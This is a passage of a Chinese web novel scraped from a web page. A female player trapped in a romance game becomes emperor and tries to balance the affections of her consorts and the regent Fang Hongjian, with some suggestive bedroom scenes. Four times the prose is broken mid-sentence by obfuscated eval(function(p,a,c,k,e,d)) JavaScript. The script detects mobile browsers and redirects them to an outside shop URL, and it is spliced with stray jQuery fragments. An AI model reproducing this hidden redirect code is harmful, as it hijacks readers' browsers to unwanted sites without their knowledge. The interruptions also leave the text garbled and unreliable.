“那你吃咸菜萝卜吧,我去吃山珍海味。” “许曼婷你找抽是不是。” 陈念禾作势要打人,许曼婷大笑躲过。 23. 不专心 “……你不专心。” 身后有个人抱着你,你们贴得很近,你的背就靠在他的胸膛,透过那一层皮囊,你能够清楚的感觉到里头有一颗心在跳动。 你皱了皱眉,感觉很不舒服。 还很热。 周遭的空气仿佛是一口烧着水的锅,此时水已烧开,喷腾的热气直往上冲,险些就要将盖顶掀翻。 你向来是贪凉怕热的,这种环境下使得你浑身都被汗水淋湿,就连眼前也雾蒙蒙的像笼了一层纱。 你微微一动,试图从这锅沸水中挣离。 可才有一点动作,你的下巴便被人拧了过去。 一个极富挑逗的吻落在你唇上。 他咬了你一口,不疼,却酥酥痒痒的。 “想走了?” 你还没说话,他又接着吻住了你。 轻轻点点的,像一场绵绵不息的春雨。 雨水快将你溺毙,可那人还是不放过你,你没办法,只好握起拳头哐哐给他两拳。 可你的那点力道就跟洇湿皮肤的细雨一般,不仅不能给人带来任何实质性的伤害,还像某种特殊的催动剂,惹得那人动作愈发过火。 ……也该停停了吧,再这样下去,你真要窒息了。 终于有人听见了你的心声。 “好了,洛骁。” 他出声制止,语气里带着一丝不易察觉的叹息,“别太过分了。” 等等,洛骁? 你使劲儿眨了眨眼,把眼里的雾气都驱散。 这时,眼前终于恢复了光亮。 一切都无所遁形。 背后抱着你亲的人是洛骁,可刚刚说话的人却不是他。 这里还有第三个人! 你慌了,拧头一看,正见身前的洛霖。 诡异。 很诡异。 现在的情况很诡异。 现在的洛霖也很诡异。 洛霖不复往日一本正经的样子,他身上只穿了一间单薄的里衣,衣服还还皱巴巴的像团咸菜。这也就算了,问题是他还衣襟大开,露出大片雪白肌肤,雪中红梅点点,甚是刺眼。 凌乱的发丝披散下来,让他惯有的出尘气质消散了许多,转而多了一些惑人心魄的妖异。好在,他的双眼仍旧清澈透亮,可又正是这一清澈一惑人,形成了极大的反差。 洛霖容色更甚往昔,你急急转移视线,不敢再多看他一眼。 “怎么突然害羞起来了,”洛骁低低笑着,在你通红的耳朵咬了一口,“不是皇上亲自下的口谕,命我兄弟二人今晚同来服侍吗。” 皇上? 什么皇上? 你成皇上了? 你连忙查看任务内容。 而内容上赫然写着:你是刚登基不久的皇帝,为了维护后宫安定,请于一日内让后宫各妃嫔的关系达成平衡状态。你有三次机会。若三次都失败,则视为本轮游戏失败。 这次游戏除了任务内容外,还多给了一个平衡仪。 平衡仪分四端,四端各写一人名,人名分别是洛霖、洛骁、萧玉珩,和……隐藏人物? 这个隐藏人物也是后宫妃嫔中的一员吗? 系统解答:隐藏人物本轮游戏中的支线任务,玩家可在游戏中自行找寻该人物并攻略。攻略成功将有额外奖励,反之无惩罚。 也就是说,你这轮能找到隐藏人物呢,就多加分,找不到就把给出的人物都攻略了通关。 现在的平衡仪情况是完全往洛霖、洛骁这边倒的,甚至这两人里,你还多偏向洛霖一些。 用小说里的情节来形容就是,洛霖现在是最受皇恩的宠妃。 要使平衡仪的重心回到中点,你应该多去看看被冷落的萧玉珩。 可是你现下这情况……好像根本走不开啊。 “皇上,你今晚好像总在走神。” 洛骁有些不满,手开始不安分的在你胸口作乱。 你倒吸一口凉气,只觉半边身子都要软了,忙按住他的手,“别闹。” 一开口,就是又虚又软,又低又哑的语调。 你心里暗骂,这游戏真是越来越没节操了,分明你先前还想着说以后不要再搞什么脚踏两条船的戏码了,现在倒好,你是没踏两条船了,你直接摇身一变成了皇帝,有三个妃子和一个隐藏人物要攻略,还有个不知几人的后宫。 想到你那个后宫,你就觉得头痛。 更头痛的是,你正在跟这两兄弟搞3p! 天!地! 你真想叫喊出来,又怕一叫不是发泄,反成嘤咛。 “好,我不闹。”洛骁笑道:“我们来做点正事。” 洛骁眼睛里明明灭灭闪烁着的,是难填的欲海。如果说洛霖是半清澈半惑人的两极反差,那洛骁完完全全就是瑰姿艳逸的妖精了。 你不敢看洛霖,是怕被他迷住。你不敢看洛骁,是怕被他勾魂夺魄。 你往前躲去,却扑到洛霖怀里。 洛霖将你牢牢抱住,有力的臂弯如同一个避风港叫人心安。 可避风港虽有,风浪却不止。 你现在的样子不比两兄弟好到哪儿去,外衣不见了,只余肚兜,系带是松松垮垮要掉不掉。下身则还好好穿着纱裙,可裙子也是乱成一团。 而且现在穿裙子,也不大合适,不是不合适,是太容易被人下手。 洛骁那厮顺着裙摆下方入手,因习武而稍显粗糙的手心带着灼烫的热度,又如蛇行草地一般顺着你的脚跟一路滑行,渐渐来到颇具肉感的大腿处。蛇在爬行的时候是没有发出任何声音的,唯一的声音源自于你胸口处紧张跳动的心。 不行不行,真的不行。 你想往后退,可后面就是洛霖。 你拧头向洛霖求救,洛霖却被你满是通红又可怜巴巴的脸勾得心头一动,忍不住低头在你被洛骁亲得水光发亮的唇上又补一口。 太荒唐了,这剧情安排得太荒唐了。 上个支线任务里,洛霖还因为你的事情,被洛骁气得呕血,现在他就和他弟一起混到你床上了。 还是很坦然的那种! ……没办法,现在你是皇帝,他们都是你的妃子。妃子伺候皇帝,本就无可置喙。 你也是兔子急了要咬人,慌乱之下,脑筋一抽,直接抬脚踹到了洛骁脸上。 事态急转,毫无防备的洛骁被你踹到床头,发出一声闷哼,鼻子下方流下两条血痕。 洛霖也被你吓了一跳,稍稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127395|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开了抱着你的手。 此时不跑,更待何时? 你再接再厉,把洛霖的手甩开,真如兔子般手脚灵敏,一蹦就跳下了床,逃命似的直奔门去。 “小春!”情急之下,洛霖叫出了你的名字,很快他又深觉不妥,改叫你皇上。 这时你哪儿还顾得上他,一心抱着如果今晚真跟他俩3p了,你节操就真碎一地拼都拼不回来的心态想跑出去。 洛霖没法儿,只好也从床上起来,他人高马大,不过一息之间就追上了你。 洛霖将你拦腰截住,你警惕的看着他。 洛霖叹了口气,跟你解释,“外头侯着一群宫女,还有专做笔录的起居注太监,皇上若直接这么出去,恐惹人蜚语。” 噢,也对。 你看了看自己这副尊容,确实不大好就这么出去。 不过这皇上皇上的,听得还怪别扭。 洛霖牵着你的手往回走,先是替你将系带松了重新系好,又仔仔细细的将你衣裙上的每一寸褶皱都拍平捋顺。 你看着低头弯腰整理衣服的洛霖,忽然觉得他还挺有贤夫良父的气质。 另一厢的洛骁止住鼻血后,也跑过来帮你整理头发。 只不过他整理了没多久,就又开始了。 洛骁吻着你的脖颈,“皇上,今晚别走了吧。” 你推开他的头,意志坚定的,“不行。” “为什么?” “没有为什么。” 洛骁委屈,“难道皇上觉得我二人没伺候好你?” 你脸一热。 洛骁眸光流转,唇若点脂,“还是,皇上是怕……后面我们会一起来?” 你脑子一懵,什么一起来?一起来什么意思? 紧接着,你凭借着多年鉴黄的经验,很快明白了他的意思。 还能什么一起来啊! 就是……那个啊啊啊! 这个洛骁! 洛霖也随即反应过来,“洛骁,别胡闹了!” 洛骁不做理会,继续诱哄,“皇上若是怕这个,那尽可放心,大不了我这做弟弟的礼让一些,让哥哥先来一回好了。” 你:“……” 洛霖:“……” 你深呼吸一口气,“别逼我再踹你一脚。” 衣服头发终于弄得七七八八,尽管还没全部弄好,但起码也是能见人了。 你快步走出。 甫一出门,便见门外哗啦啦跪了一群人。 你又是一懵。 被人跪拜让你感觉有点……有点不知道怎么说。 你赶紧让他们都起来了。 这时两个宫女迎上前,问你要去哪儿。 你想了一想,“就回我寝宫吧。” 顿了下,你又问:“现在是什么时候了?” 宫女说:“正当子时呢。” 子时也就是十二点,一天之内要让平衡仪的重心回到中点,也就是说……你要赶在中午十二点前完成。 你看了眼天色,心想,这游戏也太会设置时间点了,居然把开始时间设置到了晚上。晚上不比白天,总有要休息的时候,做任务不可能挑半夜去做,这期间就等于有几个小时是白白浪费了。 24. 做皇帝的一天 当然你也可以折回去攻略洛霖洛骁,可这没必要了。现在平衡仪本就偏向了他俩,要回去继续攻略的话,恐怕更加失衡。 你现在应该做的,是把平衡仪往萧玉珩那去偏,可现下你对自己的情况还不了解,倒不如先回寝宫,找个人来把背景信息说一说,提前做个准备,不至于后面太过被动。 至于萧玉珩,你可以等天明了再去找他。 打定了主意,一行人便浩浩汤汤往皇帝寝宫去。 等到了寝宫,你便招来个宫女打听起你的身份信息。 自己问自己的信息当然奇怪,但你的身份是一人之上万人之下的皇帝,既然贵为皇帝,那你就算做再出格的事情,也不会有人敢说什么的。 宫女战战兢兢的告诉你说,你原是前太子之女。当年太子获罪被废,你也因此流落民间。先帝晏驾后,膝下并无子嗣能承大统。国不可一日无君,当朝丞相便力排众议,主张将你迎接回宫,登基为帝。 你因为年少,又自小长于民间,未曾受过皇室的系统教养。丞相将你迎回之后,便又兼任太傅之职,亲自教导你帝王之学。 又是丞相又是太傅的,那这人官位挺大啊。你暗忖。 其实皇帝死后,因没有子嗣无人继承的情况在历史上也不是没有过。皇帝没有子嗣,不代表他兄弟没有啊。就算皇帝孤寡到连兄弟都没有,也还能从旁支中再找。 反正总不至于要轮到去找废太子的女儿继承。不过联想到这是个女性向恋爱攻略游戏,设置个女人也能继承大统的背景,也没什么问题。 总之,这个丞相兼太傅的人之所以选择了你,除却看中你是太子一脉之外,肯定也是看中了你是女儿身,比较好把控。 凭借你多年的看文经验,你不难猜到,你现在虽贵为皇帝,但朝堂政权实际并不由你掌握。你只是个有着皇帝名义的傀儡罢了。 如果这是一篇穿越文,那你接下来的剧情肯定是先隐忍蛰伏装孙子,然后背地里发展自己的势力,等有足够的势力之后,再拳打丞相,脚踢权臣,然后重掌大权。 再然后,你就改律法,兴科技,渡重洋,大力发展商业,把整个国家打造成一个空前繁华的帝国,史书还会把你的丰功伟业记载于册,流芳千古。 可惜的是,你并非穿越文女主,你也没有那么远大的志向。 你目前最重要的任务就是搞定平衡仪上的三个男人,可以的话,再找出那个隐藏人物加加分。 你问宫女洛霖、洛骁是怎么一回事,宫女自觉方才跟你说得太多了,吓得连忙敛衽跪地,说:“皇上,奴婢不过一个卑微宫女,怎敢妄议皇夫之事。” “诶,你别跪啊。”你将她扶起,好声好气的说:“什么妄议不妄议的,你就当这是朋友闲聊。” 宫女两眼一闭,视死如归,还是跟你说了实情。 在这一关里,洛霖和洛骁还是威远侯公子。 而萧玉珩是你在民间时嫁的丈夫,你被迎回宫后,把他也一块儿带上了。他现在是你的皇后。不过这皇后之位他能坐多久,就没人知道了。 毕竟单论身份,侯府出身的洛霖、洛骁,可要比民间的萧玉珩要高贵多了。 了解得差不多后,你就让宫女走了。 宫女得知自己终于能走,那叫一个开心,就差没直接笑出来了。不过她怎么说也是经过专业训练的,不至于在皇帝面前如此失仪,在福了一福身后,便快步退出了门去。 按你原先的打算,你是想回寝宫找人了解完背景信息后,等天一明就去找萧玉珩的。 可你没想到的是,这游戏不但故事情节安排得处处妥当,就连一些细节问题上也做得十分细致。 比如说做皇帝吧,做皇帝不是每天顾着吃喝玩乐就可以了的,只顾吃喝玩乐那叫纨绔子弟,皇帝是要上朝工作、要处理各项政务的。 而你本人也很荣幸,切身的体验了一回皇帝的行程。虽说是在游戏里。 天还没亮,万籁俱静,两排宫女已行步轻缓悄悄走进了寝宫,掌灯后,又来到龙床边上,轻声叫醒正在酣睡中的皇上。 你迷迷瞪瞪的睁开眼,问怎么了,宫女便回答你说该起床洗漱,到偏殿去早读了。 早读?你高中毕业后就没早读过了,现在游戏里当皇帝了,反倒要早读。 想想也是有些好笑。 早读之后,就是用早膳,做完这些,天也亮了,你以为终于能喘口气了,好家伙,该上早朝了。 上早朝的时候你还怪紧张的,毕竟你外壳虽然顶了个皇帝身份,但你内里还只是个普通大学生啊,要是那些大臣来跟你商议国事,你该怎么说? 不过很快,你发现这个问题你也不需要太担心。 因为现在的朝堂确实如你所想的那样,你是个挂了皇帝牌号却没实权的傀儡,现在所有的朝政大事都是由丞相代为管理的。 而这个丞相,居然是……方鸿渐?! 不怪乎你会这么惊讶,在你的印象里,能做到丞相兼太傅这个位置的,大多已经是头发苍苍胡须飘飘的老年人了,而这时的方鸿渐虽比你之前见时要老成不少,但他实际还是很年轻的。 你看着头戴玉冠,朝服加身,端站陛间的方鸿渐,一时竟有些恍惚。 这游戏……挺会玩哈。 以往故事情节再怎么变,人物身份都不会有太大变动,而这一关,你成了皇帝,萧玉珩成了皇后,洛霖、洛骁成了妃子,方鸿渐成了代理朝政的丞相兼太傅。 真是天翻地覆的变化。 退朝后,你想溜了,可……还是不行。 你问为什么不行。 身边人告诉你,这会子该到御书房去了,丞相大人要亲自教导你该如何处理政务,行帝王之责。 你累得快晕了,身边人还催促你说:“哎呀,皇上呀,快走吧,要去得迟了,您又少不得被丞相大人一顿批。” 你泪眼婆娑,“就不能请一天假么?”你还得去看萧玉珩呢。 身边人为难道:“皇上,这事儿奴才不敢做主意,您要请假得亲自跟丞相大人说。” 得,没戏。 你蔫头耷脑的到御书房去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127396|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你到的时候,方鸿渐已等候多时了。 “皇上圣安。”方鸿渐这么说道。 你还挺不习惯他这么跟你说话的,话说这个场合里,你该怎么称呼方鸿渐比较好? 现在你是皇上,他叫你皇上,很正常。 他现在是丞相,又是太傅,你该怎么称呼? 直接叫职称?好像也可以…… 还是叫名字?这个好像不大好…… 好像每次碰到方鸿渐的时候,你都在纠结怎么称呼他。这算不算是冥冥之中的某种……缘分? 思来想去,你想现在方鸿渐兼任太傅,也就是你的老师,你和前面一样叫他先生,应该不会出错。 想罢,你便说:“先生好。” 方鸿渐听后,面色如常,你便知道这么叫是叫对了。 都入座后,方鸿渐没着急跟你说什么朝堂政务国家大事,反而先跟你说了些有的没的家常话,你都一一应着,随后说到某个点的时候,方鸿渐突然话锋一转,说起昨晚的事来。 “我听闻,皇上昨晚同时召见了威远侯的两位公子?” 你脸一红,心想,方鸿渐这丞相兼太傅的权利已经大到可以只手遮天的地步了么,怎么连你昨晚召见了谁都一清二楚。 权利大不大的,你不是很在意,你在意的是,被人直接当面说3p……很丢脸啊! 可事实摆在面前,你又不得不承认,说:“是。” 彼时方鸿渐面前正放一杯茶,茶香四溢,他手指轻轻笼着茶杯,指腹在杯面摩挲着,却并没有要喝茶的意思。他好似在思考什么。 “皇上年少,知慕少艾,原也正常,只是你身为皇上,应勤理政务,一心为民,而非耽溺于情。” 这句话意思就是,你还年轻,爱玩是正常的,但你还是皇帝,皇帝要勤政爱民,别天天整那些个儿女情长的事。 你欲哭无泪了,却还是要说:“先生教训的是。” “嗯。”方鸿渐应了声,又问:“对于威远侯的二位公子,皇上是怎么想的?” 你怎么想的? 你没什么想法。 但老师叫你起来回答问题,说我不知道总归不好。于是你想了又想,憋出一句,“我没什么想法。” 方鸿渐叹了口气。 你汗颜,虽则你不聪明,但还算识时务,见方鸿渐隐有无语之意,连忙换上一副虚心请教的面孔,“还请先生赐教。” 方鸿渐望你良久,终是把面前的那杯茶喝了。 这是先喝口茶,顺顺气? 缓了一缓,方鸿渐同你说起另一桩事来。 “自先帝与前威远侯共同击退外族后,我朝边疆遂得数十年安稳。可近日来,我收到边关急报,说塞外两部秘密结盟,恐有伺机进犯中原之心。为防患于未然,我朝理应早做筹谋。可惜自前威远侯辞世后,我军便再没有能独当一面、领兵打仗的良将了。” 噢,嗯,原来如此。 你边听边点头。 方鸿渐看着你。 你看着他,他好像在等你回话。 25. 一碗水端不平 你顿悟,“先生是想现在找个苗子先做培养,等外族真打来时,我们不至于毫无准备,处处受制。” 方鸿渐点一点头。 你又说:“那……先生看中的苗子,就是洛霖、洛骁?” “是洛骁。” 论起带兵打仗,洛骁确实比洛霖合适些。 可是…… “洛骁现在不是我的妃子么?”电视剧里不都说后宫不得干政么,洛骁这身份,再指出去领兵打仗的合适么? 方鸿渐道:“只要皇上一道圣旨,这便不成问题。况且我想,威远侯对此事,也必定乐见其成。” “那先生都这么说了,那便这么做吧。”这件事并不在你的任务范围内,只不过有个问题你还有点好奇,“话说,当初威远侯为什么要把洛霖、洛骁送进后宫啊?” 方鸿渐默了默,“皇上以往并不关心这些,怎的今日倒有性质问起来了?” “呃……”你挠挠脸,“也就,随口一问。” 方鸿渐手指轻扣桌面,缓声道:“前威远侯当年虽凭战功封侯,可功高盖主,却向来是君王最深的忌讳。是以先帝明面上予他无上荣光,暗地却削落他大半实权,就连手里的兵权也都被拆分殆尽。” “前威远侯在世时,尚能凭借威望震慑朝野。可他去世后,这份威望便也不复存在。这些年,侯府看似风光依旧,实则内里早已外强中干。” 等等,这不是个恋爱攻略游戏吗,怎么现在反倒变成了权谋剧了? 算了,先听下去,也挺有趣的。 “威远侯选择将两个儿子送进宫,是在为洛家做最后一博。他兄弟二人,只要有一个能得皇上青睐,诞下皇嗣,那洛家便彻底与皇家绑在了一起。” 你想了一想,说:“威远侯的算盘倒是打得响亮,可他这么想,先生便真让他这么做了?” 你是方鸿渐力排众议,从民间迎回来的皇帝,不管怎么说,现在他都应该是和你站一边的。威远侯这个做法如果真的在将来成功了,那对方鸿渐也是十分不利的。 方鸿渐说道:“这么做有何不妥么?皇上自小长于民间,在朝中并无根系。洛家虽不复往日荣光,但到底还有些基底在,皇上与洛家结成姻亲,便能借洛家之手,于朝中站稳脚跟。而洛家为求皇上血脉,也必会倾力拥护皇上。” 各有所需的利益关系可比其他要来得更坚固。 洛霖、洛骁因利而来,方鸿渐拥护你做皇帝,自然也有这个原因。 按理说,对于你的问题,他本不必过多解释,你只需做好他手中的傀儡即可。可他不仅跟你解释了,还解释得很彻底。 方鸿渐难道就不怕你听完这些之后会对他起戒备心吗? 方鸿渐似乎看出了你的疑惑。 于正午的日光中,他只是轻轻一笑,对你说:“皇上放心,不论什么时候,臣都是与你站在一块的。” 至于为什么会看中洛骁当苗子培养,方鸿渐给出的原因也很简单,一来洛骁确有才能,二来则是时势所需。 和方鸿渐结束对话,你还没来得及去找萧玉珩,便很悲催的发现,游戏时间到了。 从早读,到上朝,再到御书房,实在拖去你太多时间了。 第二轮开始后,你痛定思痛,决定不再浪费时间,管他时间早还是晚,直接干就完了。把洛骁踢飞后,你便一路奔到萧玉珩那儿去。 萧玉珩看到你来,又是高兴又是难过。 高兴是因为你来,难过……你大概也能猜到一些。 怎么说萧玉珩也是跟你在民间结了婚的,两夫妻本来和和美美的,结果有朝一日,老婆进宫成了皇帝,虽说自己也跟着当皇后了吧,可周边又多了其他男人跟自己抢老婆,关键是什么,关键是他还不能说! 真是想想都憋屈。 你也觉得萧玉珩挺憋屈的。 不是你说,萧玉珩拿的剧本真的挺背。 第二关,他跟你青梅竹马,结果半路杀出个方鸿渐。虽说最后你还是选了他,但那也是出于你本人喜好之下做的选择,原剧情他扮演的简直就是竹马不敌天降的悲催男二。 支线任务里,他好不容易先跟你在一块儿了吧,你又出轨了,还要他同意搞什么三人行。 这一轮,他倒是捷足先登和你结了婚,结果你成了皇帝,他还是要跟别人争抢你。 这游戏策划是不是跟萧玉珩有仇? 不管怎么说,你决定先发制人。 你直接冲上去,抱住萧玉珩。 “萧玉珩,我想你了。” 萧玉珩被你撞得往后退了一退,但他还是稳稳的接住了你。 他抱着你,如同抱住一个失而复得的宝贝,可嘴上说的话却很是冷酷,“我看不出来你哪儿想我了。” 你愣了愣。 萧玉珩冷道:“你如果真这样想着我,便不会跟威远侯家的两个公子走得这么近,还夜夜留宿在他宫中。” 醋味儿好大。 不过这事儿也确实是你做得不地道,你得哄哄他,“我和他们都是逢场作戏,我心底里想的一直是你。” 好一个逢场作戏,你觉得自己还挺有当渣女的天分。 萧玉珩听你这么说,醋海翻腾的一颗心倒是好受不少。但要真让醋海掀起的波涛彻底平息下来,也没那么容易。 “你是真的逢场作戏,还是处处留情?” “真的只是逢场作戏,我发誓!”你又加一句,“我如果不是一直念着你,就不会大半夜还跑到你这儿。对吧?” 萧玉珩动摇了。 你再接再厉,“萧玉珩,咱们不说这个了吧。明天我还得早起呢。” 萧玉珩屈服了,他知道你这皇帝的一日行程有多充实。 萧玉珩抚摸着你的脸,满是心疼,“你以前明明是个随性懒散的人,到这皇宫来以后却是处处受限,还要学这么多规矩,当真辛苦你了。” “就算这样,不还有你一直陪着我么?” “你是我娘子,我是你相公,我们命里的红线自拜堂的那一日起就紧紧连在了一起。你去哪儿,我就去哪儿。我陪着你,是理所应当的。”萧玉珩顿了下,又说:“小春,你心里也是和我同样的想法么?” 你脱口而出,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127397|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然。” 萧玉珩听到你的回答,过了会儿,才浅浅笑道:“那就好。那……我们就休息吧。” 褪下外衣,熄灭烛火。 黑夜里,萧玉珩抱着你睡了。 一早,你赶紧查看平衡仪情况。 这一看,好家伙,平衡仪由原来倒向洛霖、洛骁,转而成了倒向萧玉珩。 不信邪的你,下早朝后连御书房都不去了,又跑回去找洛霖、洛骁。 找他们后,平衡仪又倒回到了他俩身上,萧玉珩那边又不平衡了。 不行,这一边倒的情况根本无法让重点回到中心。 你到谁那里,平衡仪一端就会倒向那个人,简直就像墙头草,风吹哪头倒哪头,根本就平衡不了。 是你把这一关想得太简单了,要让平衡仪稳在中点,不是谁缺少了关注就跑到谁那儿给予一点关爱就可以的。这样两头跑,跑到游戏结束都没用。 到底是哪里出了问题呢? 朱红墙,琉璃瓦,青砖地,碧云天。 巍峨森严的皇宫内,你拧眉深思。 时间如沙漏,一点点在流逝。 如果你找不到原因所在,到了第三关,你也一样没法儿完成任务。 你忽然想起萧玉珩来。 萧玉珩他昨晚和你对话时的表情……好像跟以往见到时不大一样。 以前他见到你,面上总是欣喜的,像小狗见到了主人,恨不得立马摇尾跑到你面前。当然,你不是说萧玉珩像狗,这只是个比喻。 以前他和你说话,还有些不大正经,他喜欢跟你嬉笑打闹。在你面前,他也总是毫不遮掩的表达对你的爱意。 可是昨晚的他见到你后,却是悲与喜交加,他仍旧爱着你,可他却对这份爱产生了怀疑。不是对你的怀疑,而是对自己的。 你和他在民间拜过堂成过亲,你们在亲友的注目下结为夫妻,他本应是你最亲密无间的人。可现在,你成了皇帝,你的身边开始多出了其他人,而你并没有给他足够的安全感,还夜夜留宿他人宫中。 或许,平衡仪偏向哪一边,并不是由你到谁那儿来决定的,而是由他们。 如果说,他们每一个人都相信自己才是你最爱的人,那么不论你到谁身边去,他都认为你的心在他那里。 当这种局面形成后,平衡仪重心自然而然也会回到中点。 说到底,还是你没把这碗水端平啊! 话又说回来,以上都还只是你的猜想,要知道猜想是否正确,还得经过实验才行。 至于那个隐藏人物,你觉得可能是除开已知的这三个人外的后宫中的某个人。反正总不可能是方鸿渐。 隐藏人物,既然都隐藏了,那应该是个没出现过的新角色。 总之,这都不重要了,你先把已知的这三个搞定再说。 你问:“现在是什么时候了?” 侍从回答你,“已是午时了。” 午时……午时是几点来着。 好像是十一点。 还有一个小时就到时间了。 嘶……时间好紧迫。 26. 完了 不过没关系,只要你这次验证了自己的想法是对的,就算这轮过不了,你也还有第三次机会。 你当机立断,掉头回去找萧玉珩。 你来的时候,萧玉珩正在园子里浇花。 此时天光正好,萧玉珩玉冠束发,衣着华美,日光下的花丛灿若云霞,美景衬人,人又与景相得益彰,整个画面如梦如幻。 萧玉珩转头向你,很惊讶你的到来。 你走到他面前,准备了一肚子的话。 可他却比你先开口了,“怎么了么?” 轻轻的一句,便是水一般的温柔。 你呼出一口气,“萧玉珩,昨晚你问我,我心里的想法是否和你一样。” 萧玉珩一怔,“你不是回答了么。” “对。但我还想再跟你说,我心里的人只有你一个,这一点,从始至终都没变过。”你观察着他的神色,继续说:“你知道么,尽管我现在的身份变了,变成了以前做梦都没想过的皇上,可如果叫我选的话,我宁愿不要这个身份,我只想回到那个小镇,跟你做一对平凡的夫妻。” 萧玉珩俯身抱住你,他的身体在微微颤抖,“……这些都是你的真心话么?” “真的。其实,我一点都不想待在皇宫,也根本不想当这个皇上,可是我没办法。我之所以和洛霖、洛骁靠得近,其实是因为……” 你想搬出方鸿渐跟你说的那一套,你想说,你之所以这样靠近洛霖、洛骁,都是因为你只是个挂着名头没有实权的皇帝,要想在这皇宫立住脚跟,你就得找个靠山依傍。你对他们,从来没有所谓真情,只是利益上的挂钩罢了。 你想把这些都说出来,让萧玉珩相信你是真的只爱他一个,可你不知道的是,萧玉珩并不需要你做出这么多解释。 只要你迈出第一步,那么剩下的,他将会无条件走向你。 “小春,你知道么,听到你说这些,我真的很高兴。”萧玉珩紧紧抱住你,语气中是难掩的激动,他激动到快要哭,“我……我差点以为我要失去你了。我一直很想找你问个清楚,可是我又怕问了会得不到自己想要的答案。直到昨晚你来找我,我终于问出口了,可得到答案之后,我又始终不敢相信。我在患得患失,我怕你当真舍我而去,这宫中有太多优秀的人供你选择,我不过其中一个……我实在没信心你会选我。” 宫中的人有很多,你的选择也有很多,可随你进宫的萧玉珩,却只有你一个。 天知道,他在这宫里,度过了多少个没有你的日夜。 又有多少个夜里,怀抱着满腔思绪难以入眠。 萧玉珩语无伦次的说:“小春,有了你的这些话,我真是死也甘愿了。” “呸呸呸,别说什么死不死的这种话,”你忽然有点心虚,“我们都会好好的。” “嗯。” 萧玉珩稍稍松开你,万分珍重的在你额头印下深情一吻。 水光潋滟的桃花眼中满满装着你,这一刻,他是那样的满足。 你抬手抚摸萧玉珩墨色的眉,很想再跟他说说话,可是你时间本就不多,到这儿来也全是为了印证猜想。你得走了,不然该要来不及了。 你找了个很好的借口,“我得回御书房了。” “好。”萧玉珩依依不舍,却还是放开了你,“今晚,你会来吗?” 你的游戏时间压根儿到不了今晚,最多再过个十几二十分钟,你就要重开了。 可面对着萧玉珩的殷殷期盼,你还是说:“会。” 从萧玉珩这儿离开后,你又到了洛霖那里。 这一局里,你就像绕圈一般围着三个男人转。 不过好在的是,你的猜测是对的。 萧玉珩得到了你确切的心意后,你再回到洛霖这儿,平衡仪也没有出现一边倒的情况了。 现在,平衡仪的四端中,萧玉珩的那一端是稳定的了。 本轮结束后,第三轮你只需要继续用这个方法,不出意外的话,你就能完成这一关的任务了。 第三轮。 场景重置。 “……你不专心。” 洛骁从身后抱着你,他拧过你的下巴,缠绵的吻上你的唇。 你顿时清醒,一把将他推开。 骤然拉开的距离,让洛骁颇为不满,他伸出殷红的舌尖舔了舔下唇,“皇上……” 你打断他,“我有话跟你说。” 洛骁压根不想听,他更想做的另有其事,“有什么话比现在更要紧?” 洛骁简直就是个缠人的妖精,你没办法,只好躲到洛霖身后。 洛霖起码能拦他一拦。 你从洛霖身后探出个头,“我真的有话要说。” 洛霖像座山似的将你完完全全挡住,洛骁就是想抓你回来也抓不到,他只好说:“那皇上就请说吧,臣洗耳恭听呢。” “嗯,洛骁,要不我送你去军营历练吧?” 先帝忌惮前威远侯功高震主,暗中拆解其兵权,让威远侯一脉再无威慑皇权之力。 他二人入宫,也是为了博取皇帝青睐,争得诞育皇嗣的机会,借此与皇家牢牢绑定。你们之间,在这方面是是相互依存,相互制衡的关系。这样充满利益关系的你们。本不应该在其中掺杂过多私情。 而如今,皇帝身份的你,却主动给出另一条路,让洛骁重返军营历练,凭一身本事闯出功绩,以更磊落的姿态,重振威远侯府的往日荣光。 洛霖与洛骁本是一体,他看见你做到如此地步,想必也应该会有所触动。到时候,你就能再诉真情,让他们相信,你之所以会这么做,全是因心里真真切切装着他们。 你已经开始想象洛骁接下来的反应了。 他会是什么反应呢? 不解?猜疑?还是惊讶? 你想了很多种可能,甚至已经想好了,要怎么去应对不同反应下的洛骁。可是人算不如天算,你怎么都没想到的是,洛骁的反应居然会是满不在乎。 没错,就是不在乎。 “我不去。”洛骁说。他甚至是想也不想的。 “为什么?” 不应该啊,他为什么不去? 你从以前玩过的关卡中所熟知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 